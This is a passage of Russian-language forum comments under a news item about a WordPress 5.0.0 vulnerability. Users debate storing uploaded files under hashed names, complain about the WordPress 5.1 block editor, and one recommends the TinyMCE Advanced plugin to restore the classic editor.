Кстати, неплохая идея хранить пользовательские файлы на диске с хэшированными именами, тогда см. историю с вирусами про линукс, п.1.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Vitaliy Blats , 22-Фев-19 14:04 
> Кстати, неплохая идея хранить пользовательские файлы на диске с хэшированными именами

Пока что-то не наенбется, и не понадобится это отыскать среди нескольких тысяч файлов с непонятными именами.

Переменным и файлам лучше давать осмысленные структурированные имена. Иначе эти имена вообще не нужны, можно тупо брать HEX-заголовок из ФС.


"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 23-Фев-19 09:38 
Обновился до 5,1 версии.
Полнейшая муть,не удобно ни чего!
Редактор полнейшая хрень.

"Раскрыты детали уязвимости в WordPress 5.0.0"
Отправлено Аноним , 27-Фев-19 20:51 
Ставь плагин TinyMCE Advanced и включай пункт в настройках "Заменить редактор блоков классическим редактором"
Пока как-то так. Лучшего пока не нашел